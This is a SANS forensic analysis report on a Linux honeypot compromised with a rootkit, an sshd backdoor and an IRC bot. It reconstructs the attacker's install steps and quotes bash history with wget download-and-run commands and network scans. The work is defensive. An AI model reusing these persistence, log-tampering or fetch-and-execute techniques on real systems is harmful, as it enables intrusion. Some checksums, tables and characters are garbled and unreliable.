Tag #01 came from the Linux 7.3 honeypot computer identified in Tag #02 and Tag #03 was taken from the log server system identified in Tag #04. Both systems were identical Compaq Deskpro P400s with an internal hard drive, 128MB of RAM, internal 3.5” high density floppy drive and sound card. Tag items #01 through Tag #04 were seized from Some Company located in the computer room on the third floor at 123 Anywhere Street, Anytown, Manitoba, Canada.

The CDROM, Tag #05, contained the log files from the sebeksniff host, logs from the snort v2 host, the var partition dd image from the logserver (Tag #03), the live response files from the Linux 7.3 host and the MD5 checksum files for each file on the CDROM.

### 2.4. Media Image

The hard drive listed as Tag #01 was connected to the FastBloc device. The device used is a FastBloc “Classic” from Guidance Software (www.guidancesoftware.com). FastBloc is a hardware write-blocked device. The FastBloc device was connected to a PCMCIA SCSI card installed in a ThinkPad model A31 laptop running EnCase v4.14, as shown in Figure 11. The EnCase software was used to acquire an EnCase image evidence file of the drive. During the preview and acquisition phases the EnCase software provides a verification checkbox that the device being viewed or acquired is write protected. The write protection ensures the evidence is not changed or modified.

![Figure 11. FastBloc - drive image Tag #01](image-url)
The MD5 hash was calculated during the preview of Tag #02 using EnCase. The preview MD5 checksum is shown in Figure 12.

```
Figure 12. Preview MD5 Hash of Linux 7.3 honeypot system
```

The check box to "Search, Hash and Signature Analysis" was selected. This box ensures the image file is added to the case, performs an MD5 hash on all files on the drive and does a signature analysis.

```
Figure 13. Initial search, MD5 of files and Signature analysis.
```
To ensure the MD5 checksum from the preview was identical to the acquired evidence file another MD5 hash was done. The resulting hash is shown in Figure 15. We have verified the acquisition evidence file and the preview MD5 checksum are identical. The MD5 hash value can be recalculated any time during the analysis to verify the integrity of the evidence, see Figure 15.

Files on the CDROM, Tag item # 05, included an MD5 hash file. Below is the file listing:

<table>
<thead>
<tr>
<th>MD5 (liveresponse.tar)</th>
<th>994b0c3b8e91d10087fa085f9586f4de</th>
</tr>
</thead>
<tbody>
<tr>
<td>MD5 (sebek.out)</td>
<td>82b86c939e8347c71e25655530566dc7</td>
</tr>
<tr>
<td>MD5 (snortfiles.tar)</td>
<td>66130385e828dbb5218a492d6f1df6a1</td>
</tr>
<tr>
<td>MD5 (varddimage.gz)</td>
<td>d073eb91e149936a313f907cd3c9a3ac</td>
</tr>
</tbody>
</table>
Using md5sum.exe from [http://www.etree.org/md5com.html](http://www.etree.org/md5com.html), the file checksums were verified. The output is shown below:

```
D:\>md5sum *
994b0c3b8e91d10087fa085f9586f4de *liveresponse.tar
82b86c939e8347c71e256655530566dc7 *sebek.out
66130385e828dbb5218a492d6f1df6e1 *snortfiles.tar
d073eb91e149936a313f907cd3c9a3ac *varddimage.gz
```

### 2.5. Media Analysis

The system used to analyze the evidence was an IBM ThinkPad model A31 with a 1.8Ghz processor, 1.0GB of RAM. There were two sixty GigaByte Travelstar hard drives, a removable Matsushita UJDA720 DVD/CDRW. The Forensic analysis software used to examine Tag #01 and Tag #03 and Tag #05 was EnCase (V4.14) from Guidance Software,⁶ a forensic tool of choice in our workplace.

Below is a list of all of the tools used during the analysis;

1. EnCase is popular with law enforcement and private industry providing powerful forensic capabilities. [www.guidancesoftware.com](http://www.guidancesoftware.com)
2. `mac_robber` is a computer forensic tool for unix. It collects MAC (modified, access and change) times of files. [www.stake.com/research/tools/forensic](http://www.stake.com/research/tools/forensic)
3. The live response kit consisted of the following Linux binaries:
   a. `nc` (netcat) used to send data streams from the victim machine to the forensic workstation.
   b. `date` used to record the start time and stop time of the response.
   c. `w` used to identify who is currently logged in.
   d. `netstat` used to show the internet sockets that are open and to display the routing information.
   e. `lsof` used to identify backdoors and network services.
   f. `ps` used to show the processes in the process table.
   g. `ifconfig` used to obtain the network configuration
   h. `ls` used to list the /proc file system.
   i. `md5sum` used to record MD5 checksums.

See Table 2 for the exact syntax used for each command. The `LD_LIBRARY_PATH` variable was set to ensure known good library files were used. It is important to use either statically compiled files or trusted library files. It must be assumed the binary and library files on the system are

---

⁶ Guidance Software, [www.encase.com](http://www.encase.com)
compromised. That is the reason for the using the trusted library files. The library files were included on the live response CDROM.

4. Snort (v.2.0.0) open source software that can be used as a sniffer, packet logger and network intrusion detection software. Snort reference site [www.snort.org](http://www.snort.org).

5. Tcpdump (v.3.6 running with libcap v0.6) open source software used for analyzing packets. Tcpdump is available from [www.tcpdump.org](http://www.tcpdump.org).

6. Tcpflow (v.0.21) open source software that will allow the data stream for a TCP session to be captured. Tcpflow is available from [www.circlemud.org/~jelson/software/tcpflow](http://www.circlemud.org/~jelson/software/tcpflow).

7. Linux RedHat 7.3 commands; find, md5sum, grep, ls. These commands are part of the unix operating system. ([www.redhat.com](http://www.redhat.com)).

EnCase provides verification via MD5 hashes of drive previews and evidence files when opened. The MD5 checksum was calculated when Tag item #1 was previewed and acquired. The FastBloc device ensures the evidence is not altered or changed in any way. The verification checksum ensures the evidence has not been corrupted or altered and allows for verification throughout the analysis process.

When the harddrive, Tag item #1, was first acquired as an evidence file an acquisition MD5 checksum was calculated. A verification MD5 checksum can be run at anytime. EnCase has powerful search capabilities through the use of keywords. Generic keyword lists are available, but meaningful keywords assist in narrowing the investigation. To focus the EnCase analysis a meaningful keyword list was compiled using the live response files and associated logs.

Before the initial acquisition the keywords were entered and selected. Once the drive was acquired EnCase used the keyword list to search the acquired evidence file.

**File system**

The live response and log analysis provided a focus for beginning the file system analysis. The IDS logging provided details on the initial connections that led to the compromise of the victim machine. The encrypted ssh session meant the IDS logging could not provide details on the events occurring on the victim machine.

The first files analyzed were the files and directories identified as suspicious during the live response analysis. Those directories and files were:

```
Nfsd  sshd_config
Popauth  minilogd
/tmp/.services
```

weit /x

Analysis of the /tmp/.s directory corroborating evidence seen in the IDS logs. The file install.log had a last written date of 03:25:20PM. The install.log file was created by the running of the install script from the s.tar.gz file. The install.log file is shown in Table 2.

Table 2. install.log output

Table 2. install.log output shows “PS, PSTREE and LS DIR VDIR” failing during install. Further analysis of the install script is shown below in steps 1 to 20 below. The bolded fonts in step 11 are the one’s that the install log showed as failing. Steps 12 to 21 are the actions that were never completed. This was verified taking the MD5 file hashes and comparing them with MD5 hashes from a clean install of Linux RedHat 7.3 machine.

1) The HISTFILE is configured not to capture commands with “unset HISTFILE”.

2) The command “chattr -iau” is used, (the “-i” removes attributes from the file, “a” => immutable, “u” => undeletable”). The files the command was used on are listed below;

    /etc/rc.d/init.d/sshd           /etc/rc.d/init.d/syslog
    /etc/rc.d/init.d/functions      /usr/local/sbin/sshd
    /usr/sbin/sshd                  /bin/ps

© SANS Institute 2004, Author retains full rights.
3) Stop syslog with “/etc/rc.d/init.d/syslog stop”

4) kill the rpc portmapper

5) remove *.tgz file(s) from the ../ directory.

6) Copy the .1proc file to /dev/ttyop. The .1proc file is a list of processes shown below:

```
2 sl 2 sl2 2 st 2 v
2 foo 3 scan 3 ping 3 tcpd
3 nfsd 3 lpd 3 r00t 2 x2
3 strobe 2 sc 3 luckstatdx 2 /dev/killall
2 hds 3 /usr/sbin/nfsd 3 mass 3 o
3 vuln 3 weit
```

7) Copy the .1addr file to /dev/ttyoa. The .1addr file is a list of ports shown below:

```
3 18 4 18 3 6667 4 6667 3 l
4 1
```

8) Copy the .1file file to /dev/ttyof. The .1file is a list of filenames shown below:

```
.s mps ttyop clean v r00t
.x mls ttyof sense sl2
logs killer si2
sense mtop foo
tcp.log mpstree st
```

9) Copy the .1logz file to /dev/ttyos. The .flogz file is a list of IP addresses, domain names and log file names shown below:

```
XXX.hypermart.net XXX.XXX.0.159 syslog
klogd net-pf-10 XXX.97.33.*
```

10) touch -acmr ( a => change access time, c => do not create any files, m => change modification time, r => use the file referenced times instead of current time). The touch command was performed on the files listed. The first file is the file whose times are used as reference, the second is the trojan binary included in the s.tar.gz root kit.

```
/usr/bin/du du /usr/bin/find find /usr/bin/killall killall
/bin/ps ps /bin/netstat netstat /usr/bin/pstree pstree
/bin/ls ls /usr/bin/top top /usr/bin/vdir vdir
```
11) Place the trojan binaries and move existing binaries appending the original name with an “m”:

```
ps => /bin/ps
ps => /usr/bin/pstree
ps => /usr/bin/top

ls => /bin/ls
killall => /usr/bin/killall
ls => /usr/bin/dir

du => /usr/bin/du
find => /usr/bin/find
netstat => /bin/netstat

netstat => /usr/bin/netstat
ps => /usr/bin/pstree
ps => /usr/bin/top

ls => /usr/bin/dir
killall => /usr/bin/killall
```

12) The nfsdi script, located in the nfsd directory, is called to install the nfsd (sshd backdoor) on port 18:

The nfsdi script does the following:

a) `p.sshd` is copied to `/usr/sbin/nfsd`
b) a `chmod +s` and `chattr +iau` done on `/usr/sbin/nfsd`
c) `sshd_config` copied to `/sbin/sshd_config`, `chattr +iau` is done on the file.
d) `host key (xxxh_h)` and `random key (xxh_r)` are copied to `/sbin`.
e) `nfsd (sshd)` is run
f) `chattr -iau` run on `/etc/rc.d/init.d/syslog` and `/etc/rc.d/init.d/functions`.
g) The line “/usr/sbin/nfsd -f /sbin/sshd_config” is appended to the end of `/etc/rc.d/init.d/syslog` and `/etc/rc.d/init.d/functions` and `chattr +iau` is run.

13) Rootkit utilities are installed:

```
clean => /usr/bin/clean
sense => /usr/bin/sense
dos/sl2 => /usr/bin/dos/sl2
dos/foo => /usr/bin/dos/foo
dos/st => /usr/bin/dos/st
dos/v => /usr/bin/dos/v
```

14) Linsniffer installed storing logs in `/dev/logs” linsniffer /usr/bin/lpd”.

15) Setting up crontab “/usr/bin/crontab cron-root”.

16) Ports Open check using command “/usr/sbin/lsof|grep LISTEN”.

17) Checking for “Other RoofKITs”.

18) starting syslog with “/etc/rc.d/init.d/syslog start”

19) Reviewing logs, cron, maillog with echo of:

```
/var/log/messages /var/log/boot.log /var/log/cron
/var/log/secure /var/log/maillog
```

20) Using `chattr +iau` on

```
/etc/rc.d/init.d/syslog /etc/rc.d/init.d/functions /bin/ps
/bin/netstat /bin/ls /usr/bin/du
/usr/bin/find /usr/bin/pstree /usr/bin/killall
```
21) Closing message "Na hai sa ne pisam pe iei -;)"

TCPFLOW output showed the uncompressing of the s.tar.gz files. When the file system /tmp/.s was examined three of the trojan binaries were not present, they were "ls, ps and vdir". Table 3 shows a comparison from the TCPFLOW file list and the files in the /tmp/.s directory:

<table>
<thead>
<tr>
<th>TCPFLOW log</th>
<th>Files in /tmp</th>
<th>Last access</th>
<th>Notes - (All virus infected with Linux.RST.B)</th>
</tr>
</thead>
<tbody>
<tr>
<td>.s/</td>
<td>/tmp/.s</td>
<td>03:25:20PM</td>
<td>Hidden directory</td>
</tr>
<tr>
<td>.s/du</td>
<td>/tmp/.s/du</td>
<td>03:25:20PM</td>
<td>Trojan du (disk usage command) references ttyof. The install script copies .lfile to ttyof.</td>
</tr>
<tr>
<td>.s/find</td>
<td>/tmp/.s/find</td>
<td>03:25:20PM</td>
<td>Trojan find command references ttyof. The install script copies .lfile to ttyof.</td>
</tr>
<tr>
<td>.s/killall</td>
<td>/tmp/.s/killall</td>
<td>03:25:20PM</td>
<td>Trojan killall command used to kill processes. References ttyop. The install script copies .lproc to ttyop.</td>
</tr>
<tr>
<td>.s/linnsniffer</td>
<td>/tmp/.s/linnsniffer</td>
<td>03:25:20PM</td>
<td>Trojan linsniffer program.</td>
</tr>
<tr>
<td>.s/ls</td>
<td>-not present-</td>
<td></td>
<td>list command.</td>
</tr>
<tr>
<td>.s/netstat</td>
<td>/tmp/.s/netstat</td>
<td>03:25:20PM</td>
<td>Trojan netsat, network status command references ttyoa. The install script copies .laddr to ttyoa.</td>
</tr>
<tr>
<td>.s/ps</td>
<td>-not present-</td>
<td></td>
<td>Process status command references ttyoa. The install script copies .lproc to ttyop.</td>
</tr>
<tr>
<td>.s/pstree</td>
<td>/tmp/.s/pstree</td>
<td>03:25:20PM</td>
<td>Process tree list. References ttyop. The install script copies .lproc to ttyop.</td>
</tr>
<tr>
<td>.s/vdir</td>
<td>/tmp/.s/vdir</td>
<td>03:25:20PM</td>
<td>Lists directory contents. References ttyop. The install script copies .lproc to ttyop.</td>
</tr>
<tr>
<td>.s/top</td>
<td>/tmp/.s/top</td>
<td>03:25:20PM</td>
<td>Show top CPU Processes. References ttyop.</td>
</tr>
<tr>
<td>.s/.laddr</td>
<td>/tmp/.s/.laddr</td>
<td>03:25:20PM</td>
<td>Install script copies this to /dev/ttyoa. Contains a list of that trojan binaries uses. Binaries using this reference are netstat.</td>
</tr>
<tr>
<td>.s/.lfile</td>
<td>/tmp/.s/.lfile</td>
<td>03:25:20PM</td>
<td>Install script copies this to /dev/ttyof. Contains a list of that trojan binaries uses. Binaries using this reference are netstat.</td>
</tr>
<tr>
<td>.s/.llogz</td>
<td>/tmp/.s/.llogz</td>
<td>03:25:20PM</td>
<td>Install script copies this to /dev/ttyos. Contains a list of that trojan binaries uses. Binaries using this reference are netstat.</td>
</tr>
<tr>
<td>.s/.lproc</td>
<td>/tmp/.s/.lproc</td>
<td>03:25:20PM</td>
<td>Install script copies this to /dev/ttyop. Contains a list of that trojan binaries uses. Binaries using this reference are top, pstree, killall.</td>
</tr>
<tr>
<td>.s/clean</td>
<td>/tmp/.s/clean</td>
<td>03:25:20PM</td>
<td>Log file cleanup script.</td>
</tr>
<tr>
<td>.s/nfsd/</td>
<td>/tmp/.s/nfsd</td>
<td>03:25:21PM</td>
<td>Directory</td>
</tr>
<tr>
<td>.s/nfsd/shd_</td>
<td>/tmp/.s/nfsd/shd_</td>
<td>03:25:21PM</td>
<td>nfsd (sshd) configuration file.</td>
</tr>
<tr>
<td>shd_config</td>
<td>d_config</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
| .s/nfsd/xxh_h | /tmp/.s/xxh_h | 03:25:21PM | HostKey file for nfsd (sshd) referenced in configuration file.恩Case output shows key as a private key belonging to
The examination began with the startup files. In Linux RedHat 7.3 the startup begins with the /etc/rc.d/rc.sysinit script. This script was identified in the initial keyword search. It contained the keyword “weit”, one of the suspicious files seen in the live response. Two other startup files were identified in the keyword search. They are located in the /etc/init.d hierarchy.

“The inittab file is the configuration file used by ‘init’. The inittab file is located in the /etc directory and provides the run level the system will start in. RedHat Linux runs the /etc/rc.d/rc.sysinit script before running the rc ‘init’ script.”

The rc.sysinit file was identified, in the rootkit install log, as one of the startup scripts that was modified. To view all startup scripts in /etc/rc.d with EnCase the rc.d homeplate was selected as shown in Figure 16 - upper left pane.

From the analysis of the s.tar.gz install script and the startup files we know three startup files were modified.

To identify change a fresh install of Linux 7.3 was used to generate MD5 hashes to compare against the Linux 7.3 victim machine. The output from the command below was piped (|) into an output file for comparison purposes. The find command below starts at the root “/”, looking for names of all files “-name \*”, do not parse the /proc directory structure “’/proc’ -prune -o”, only look at files “-type f” and run an md5sum on the file “-exec md5sum {} \;”.

```bash
#find / -name \* -path ‘/proc’ -prune -o -type f -exec md5sum {} \
```

To create a hash file in EnCase the files were checked off and an export of the hash values, file name, file logical size and path was done. This created a space

---

delimited flat file. The file was transferred to the Linux, normalized, and comparisons were run using the unix ‘comm’ command as shown below:

```
comm -3 known-good-startup.txt export-phase4-startup.txt
```

The comm command with the -3 switch will not show lines from the two files that are identical. The output is shown:

```
/etc/rc.d/init.d/functions 918ec2bf2ca7890118d41731001ed09 9962
/etc/rc.d/init.d/functions e62d86534bd966c0378d8045aaaa0762 9998
```

Looking at the end of the functions script we find the covert ssh startup command,

```
/\usr/sbin/nfsd -f /sbin/sshd_config
```

Trojaned functions startup script – nfsd (ssh on port 18) added

```
/etc/rc.d/init.d/syslog bf2c05fb64dc8fc193dfbc21052f5e6e5 1369
/etc/rc.d/init.d/syslog 7e7d2b5075662d3cd6e35c24b5003d69 1405
```

Looking at the end of the syslog script we again find the covert ssh startup command,

```
/\usr/sbin/nfsd -f /sbin/sshd_config
```

Trojaned syslog startup script – nfsd (ssd on port 18) added

```
/etc/rc.d/rc.sysinit 48fa67a16b96d8d1768a5f9d8421ee4 22379
/etc/rc.d/rc.sysinit ee965268d25b94ed0ffe16d8e5be890 22379
```

Looking at the end of the rc.sysinit script we find the virus infected (Linux.RST.B) weit command.

```
/etc/rc.d/rc.sysinit \\
/sbin/getkey i && touch /var/run/confirm
```

Trojaned rc.sysinit startup script – wait changed to weit

The “last written” time from each file showed the /etc/rc.d/rc.sysinit script being modified at 3:22:09pm and both the /etc/rc.d/init.d/syslog and /etc/rc.d/init.d/functions scripts modified at 3:25:21pm. Figure 16 is a screen shot of
the /etc/rc.d folder and associated folders and files, all sorted using the Entry Modified time.

To display all of the folders and files under /etc/rc.d refer to the upper left hand window in Figure 16. The “home plate” to the left of the check box is selected as shown. To perform a sort, the “Entry Modified” column was selected. The red arrow in the upper right corner of the Entry Modified column indicates this column is sorted. (Refer to the EnCase report in Appendix F).

![Figure 16. Modified startup files](image)

The back doors found on the system were:

- The nfsd daemon (trojaned sshd) running on process ID’s 19810 and 19811
- The weit program run from the rc.sysinit script in the /etc/rc.d directory that spawned the popauth program that sets up a listener on UDP port 3049.
- The IRC server running on process ID’s 19936 and 19941.

Looking at the install script in /tmp/.s/install we see

```
cd nfsd/.nfsdi
```

The nfsdi script modifies the syslog and functions scripts and installs the trojan, virus infected, nfsd.

```
#!/bin/sh
```

```
The IRC bot software was running as process ID 19941 and 19936. The installation and start of the script was done during a session to the victim host (192.168.2.15) from IP address XXX.XXX.108.64 between ports 35157 and 443. The time of this event was 15:22:43. The command below downloaded the bot.tgz, tar-gzipped file (wget XXX.XXX.com/eladoht/bot.tgz). The file was unpacked (tar –zxvf bot.tgz), the file was removed (rm –rf bot.tgz), the directory was changed from /tmp to /tmp/.X11-pipe (cd .X11-pipe), the mode was set to executable (chmod +x inetd/services) and the services file run (inetd/services).

The linsniffer program was part of the s.tar.gz file. Analysis of the file system showed no indication of the linsniffer program. The install.log showed the install script didn’t complete the install of linsniffer. Using EnCase, a filter search for the file name tcp.log was conducted. The filter search turned up no hits.
A keyword search was next. The purpose of the search was to see if the file existed but had been deleted. The keyword search found the tcp.log referenced 11 times. The references are summarized below:

- 6 hits were in the /tmp/.s/install file.
- 1 hit in the /dev/ttyof file.
- 1 hits in the /tmp/.s/linsniffer binary file.
- 1 hits in the /tmp/.s/.file
- 1 hits in the /root/.bash_history file.
- 1 hits in the /swap space (swap space Is a .bash_history events).

The directory /dev/log did exist with a MAC time stamp of 03:2206PM on 06/29/03.

Once the nsfd was running, the attacker connected, using ssh on port 18 and continued the configuration and setup of the root kits. The attacker mistyped the command for turning off HISTFILE and because of this error the .bash_history log file recorded the commands issued. These commands confirm the sebek output. The /root/.bash_history file, shown in Table 4, gives the keystroke history for the installation and running of the samba.tgz kit.

```
unset HISTFILES
 cd /tmp
 ls -al
 dir -al
 rm -rf .s
 rm -rf r
 mc
 ps ax
 killall -9 cp chmod
 ps ax
 kill -9 19504 19508
 ps ax
 cd /bin
 mkdir .EhT
 cd /tmp
 cd .font
 wget XXX.XXX.com/eladoht/samba.tgz
 tar -zxvf samba.tgz
 cd samba
 ifconfig
 ./samba -d 0 -S 192.168.2.*
 ./samba -d 0 -S XXX.XXX.5.*
 nmap
 nmap XXX.XXX.42.58
 ./sys XXX.XXX.42.58
 ./sys XXX.XXX.42.58
 whereis tcp.log
 netstat -a
 netstat
 ./samba -d 0 -S XXX.XXX.42.*
 ./samba -d 0 -S XXX.XXX.42.*
 ./samba -d 0 -S XXX.XXX.42.*
 ./samba -d 0 -S XXX.XXX.42.*
 ./samba -d 0 -S XXX.XXX.42.*
 ./samba -d 0 -S XXX.XXX.42.*
 netstat
 ./sys XXX.XXX.49.137
 ./sys XXX.XXX.49.137
```

© SANS Institute 2004, As part of GIAC practical repository. Author retains full rights.
### Table 4. HISTFILE output

<table>
<thead>
<tr>
<th>Command</th>
<th>Address</th>
<th>Details</th>
</tr>
</thead>
<tbody>
<tr>
<td>./sys XXX.XXX.49.137</td>
<td></td>
<td></td>
</tr>
<tr>
<td>./sys XXX.XXX.49.137</td>
<td></td>
<td></td>
</tr>
<tr>
<td>./sys XXX.XXX.49.137</td>
<td></td>
<td></td>
</tr>
<tr>
<td>./sys XXX.XXX.49.137</td>
<td></td>
<td></td>
</tr>
<tr>
<td>./samba -d 0 -S XXX.XXX.54.*</td>
<td></td>
<td></td>
</tr>
<tr>
<td>nmap XXX.XXX.59.235</td>
<td></td>
<td></td>
</tr>
<tr>
<td>nmap XXX.XXX.61.126</td>
<td></td>
<td></td>
</tr>
<tr>
<td>./sys XXX.XXX.61.126</td>
<td></td>
<td></td>
</tr>
<tr>
<td>./sys XXX.XXX.61.126</td>
<td></td>
<td></td>
</tr>
<tr>
<td>./sys XXX.XXX.59.235</td>
<td></td>
<td></td>
</tr>
<tr>
<td>./samba -d 0 -S XXX.XXX.61.*</td>
<td></td>
<td></td>
</tr>
<tr>
<td>nmap XXX.XXX.65.171</td>
<td></td>
<td></td>
</tr>
<tr>
<td>./sys XXX.XXX.65.171</td>
<td></td>
<td></td>
</tr>
<tr>
<td>./samba -d 0 -S XXX.XXX.65.*</td>
<td></td>
<td></td>
</tr>
<tr>
<td>nmap XXX.XXX.84.19</td>
<td></td>
<td></td>
</tr>
<tr>
<td>./sys XXX.XXX.84.19</td>
<td></td>
<td></td>
</tr>
<tr>
<td>./sys XXX.XXX.84.19</td>
<td></td>
<td></td>
</tr>
<tr>
<td>./sys XXX.XXX.84.19</td>
<td></td>
<td></td>
</tr>
<tr>
<td>nmap XXX.XXX.84.30</td>
<td></td>
<td></td>
</tr>
<tr>
<td>./sys XXX.XXX.84.30</td>
<td></td>
<td></td>
</tr>
<tr>
<td>./sys XXX.XXX.84.30</td>
<td></td>
<td></td>
</tr>
<tr>
<td>./samba -d 0 -S XXX.XXX.84.*</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

The EnCase enscript used for reporting the sticky bit did not identify the bit as either setuid or setgid. To provide a complete listing of setuid and setgid a dd image was made of the evidence drive (Tag # 02) using Fastbloc. The command used to create the dd image was:

```
dd if=/dev/sd1 of=/mnt/linux73-062903.bin bs=1024 conv=noerror,notrunc,sync
```

The dd command is used to make a bit for bit image. The command line switches are:

- “if” => identifies the input file, in this case it is /dev/sd1.
- “of” => designated the output file, in this case it is /mnt/linux73-062903.bin.
- “bs” => is the block size to use for reading and writing.
- “conv” => is used to send extra arguments to dd.
- “noerror” => tells dd not to stop when reading if an error occurs.
- “notrunc” => no truncation of the output if an error happens.
• “sync” => if an error occurs use zeros in the output file. 

The MD5 checksum was verified against the MD5 checksum from EnCase. See Figure 17.

Using the loop back devices the filesystem was mounted as ro and the find command was used to obtain the following:

1. The syntax of the find command for locating hidden directories is;

   find /mnt/linux73 -name ".*" -type d -printf "%Tc %k %h/%f

   The “/mnt/linux73” tells find where to start. The “-name “.*” -type d” tells find to look for directories that begin with a “.” (the “.” in unix hides the directory or file). The last command line switch tells find to print out the file date and time information.

   Directory of interest are listed below:

   .
   .
   .
   Sun 29 Jun 2003 03:41:56 PM CST 1 /mnt/linux73/tmp/.font- unix
   Sun 29 Jun 2003 04:00:24 PM CST 1 /mnt/linux73/tmp/.font-unix/.X11-pipe
   Sun 29 Jun 2003 03:22:10 PM CST 1 /mnt/linux73/tmp/.s
   Sun 29 Jun 2003 03:22:08 PM CST 1 /mnt/linux73/.x

---

2. Locating the setuid files:

```bash
find /mnt/linux73 -type f -a -perm -4000 -exec ls -aslg () \;
```

The "'/mnt/linux73" tells find where to start. The "-type f -a -perm -4000" tells find to look for a regular file with the setuid bit set. The "-exec ls -aslg ()\" command line switch tells find to print out the file details.

```
36 -rws-r-x-x 1 root root 34296 Mar 27 2002 /mnt/linux73/usr/bin/chage
36 -rws-r-x-x 1 root root 36100 Mar 27 2002 /mnt/linux73/usr/bin/gpasswd
40 -rws-r-x-x 1 root root 37528 Jan 17 2002 /mnt/linux73/usr/bin/at
16 -r-s-r-x-x 1 root root 15104 Mar 13 2002 /mnt/linux73/usr/bin/passwd
12 -rws-r-x-x 1 root root 12072 Apr 1 2002 /mnt/linux73/usr/bin/chfn
12 -rws-r-x-x 1 root root 11496 Apr 1 2002 /mnt/linux73/usr/bin/chsh
8 -rws-r-x-x 1 root root 4764 Apr 1 2002 /mnt/linux73/usr/bin/newgrp
24 -rws-r-x-x 1 root root 21080 Apr 14 2002 /mnt/linux73/usr/bin/crontab
20 -rws-r-x-x 1 root root 19927 Apr 17 2002 /mnt/linux73/usr/bin/lpadmin
220 -rws-r-x-x 1 root root 219932 Apr 4 2002 /mnt/linux73/usr/sbin/traceroute6
8 -rws-r-x-x 1 root root 7404 Apr 17 2002 /mnt/linux73/usr/bin/kcheckpass
16 -rws-r-x-x 1 root root 14588 Jul 24 2001 /mnt/linux73/usr/bin/rcp
12 -rws-r-x-x 1 root root 10940 Jul 24 2001 /mnt/linux73/usr/bin/login
8 -rws-r-x-x 1 root root 7932 Jul 24 2001 /mnt/linux73/usr/bin/ssh
88 -r-s-r-x-x 1 root root 84680 Apr 18 2002 /mnt/linux73/usr/bin/sudo
32 -rws-r-x-x 1 root root 32673 Apr 18 2002 /mnt/linux73/usr/sbin/ping6
16 -rws-r-x-x 1 root root 13994 Apr 18 2002 /mnt/linux73/usr/sbin/traceroute6
```

3. Locating setgid files:

```bash
find /mnt/linux73 -type f -a -perm -4000 -exec ls -aslg () \;
```

The "'/mnt/linux73" tells find where to start. The "-type f -a -perm -4000" tells find to look for a regular file with the setgid bit set. The "-exec ls -aslg ()\" command line switch tells find to print out the file details.

```
36 -rws-r-x-x 1 root root 451280 Apr 8 2002 /mnt/linux73/bin/write
11496 Apr 1 2002 /mnt/linux73/usr/bin/chsh
8 -rws-r-x-x 1 root root 4764 Apr 1 2002 /mnt/linux73/usr/bin/newgrp
24 -rws-r-x-x 1 root root 21080 Apr 14 2002 /mnt/linux73/usr/bin/crontab
20 -rws-r-x-x 1 root root 19927 Apr 17 2002 /mnt/linux73/usr/bin/lpadmin
220 -rws-r-x-x 1 root root 219932 Apr 4 2002 /mnt/linux73/usr/sbin/traceroute6
8 -rws-r-x-x 1 root root 7404 Apr 17 2002 /mnt/linux73/usr/bin/kcheckpass
16 -rws-r-x-x 1 root root 14588 Jul 24 2001 /mnt/linux73/usr/bin/rcp
12 -rws-r-x-x 1 root root 10940 Jul 24 2001 /mnt/linux73/usr/bin/login
8 -rws-r-x-x 1 root root 7932 Jul 24 2001 /mnt/linux73/usr/bin/ssh
88 -r-s-r-x-x 1 root root 84680 Apr 18 2002 /mnt/linux73/usr/bin/sudo
32 -rws-r-x-x 1 root root 32673 Apr 18 2002 /mnt/linux73/usr/sbin/ping6
16 -rws-r-x-x 1 root root 13994 Apr 18 2002 /mnt/linux73/usr/sbin/traceroute6
```

Kevin Miller - Sans GCFA Assignment – v1.4
16 -rwxr-xr-x 1 root root 14657 Apr 19 2002 /mnt/linux73/sbin/netreport

The highlighted line for both setuid and setgid shows the nfsd file, installed with the root kit having both setuid and setgid bits set. See Appendix F for the complete EnCase report.

### 2.6. Timeline Analysis

The 1056043853 time is based on the number of seconds after Jan 1, 1970. The key events are displayed below with both times:

The adjusted to local times listed below are based on the EnCase Timeline analysis. The time on the /mnt/linux73/lost-found file indicated the last written and modified time as 11:30:53 time as seen in Figure 18.

```
find /mnt/linux73/root -printf "%C@ %t %h/%f" | sort > outputfile.txt
```

![Figure 18 Time alignment EnCase](image-url)

The 1056043853 time is based on the number of seconds after Jan 1, 1970. The key events are displayed below with both times:
OS install start Jun 19, 2003 18:30:53 => Adjusted to local time 11:30:53

1056043853 /mnt/linux73/lost+found

OS install complete Jun 20 2003 09:31:35 => Adjusted to local 02:31:35

1056097895 /mnt/linux73/root/install.log
.
.
1056882120 /mnt/linux73/var/spool/anacron/cron.weekly

COMPROMISE STARTS HERE -> -----------------------------------------------
Date is Jun 29, 2003 22:11:59 => Adjusted to local 15:11:59

1056921119 /mnt/linux73/tmp/.s/.laddr
1056921119 /mnt/linux73/tmp/.s/.1file
1056921119 /mnt/linux73/tmp/.s/.1logz
1056921119 /mnt/linux73/tmp/.s/.1proc
1056921119 /mnt/linux73/tmp/.s/mpstree
1056921119 /mnt/linux73/tmp/.s/nfsd/nfsdi
1056921119 /mnt/linux73/tmp/.s/nfsd/sshd_config
1056921119 /mnt/linux73/tmp/.s/nfsd/sshd_config
1056921119 /mnt/linux73/tmp/.s/nfsd/sshd_config
1056921119 /mnt/linux73/tmp/.s/nfsd/sshd-install
1056921119 /mnt/linux73/tmp/.s/nfsd/sshd_host_key

Date is Jun 29, 2003 22:20:00 => Adjusted to local 15:22:00

1056921600 /mnt/linux73/var/log/cron

Date is Jun 29, 2003 22:22:04 => Adjusted to local 15:22:04

1056921724 /mnt/linux73/bin/ps
1056921724 /mnt/linux73/etc/rc.d/init.d/sshd
1056921724 /mnt/linux73/usr/sbin/sshd

Date is Jun 29, 2003 22:22:05 => Adjusted to local 15:22:05

1056921725 /mnt/linux73/var/log/messages

Date is Jun 29, 2003 22:22:06 => Adjusted to local 15:22:06

1056921726 /mnt/linux73/dev/log

Date is Jun 29, 2003 22:22:07 => Adjusted to local 15:22:07

1056921727 /mnt/linux73/dev/ttyoa
1056921727 /mnt/linux73/dev/ttyof
1056921727 /mnt/linux73/dev/ttyop
The install script from s.tar.gz is running. The install script calls the mpstree script with the line “sh mpstree”, then the mpstree script calls the p.ssh script with the line “/p.ssh”. The “p.ssh” script creates the ./x directory with the line “mkdir –p $D”, the $D variable is set to”./x” one line before. The libgc.so library and the popauth executable are placed by the p.ssh script.

The mpstree script modifies the /etc/rc.d/rc.sysinit script and runs the weit executable. The weit executable calls the popauth executable. Popauth listens on https, http, and UDP 3049. Popauth and other binaries are infected with the Linux.Jac.8759 virus. See EnCase report on virus infected files. 739 files, including rc.sysint have ctimes (change time) of 1056921729.

EnCase was used to order the files based on last modified time.
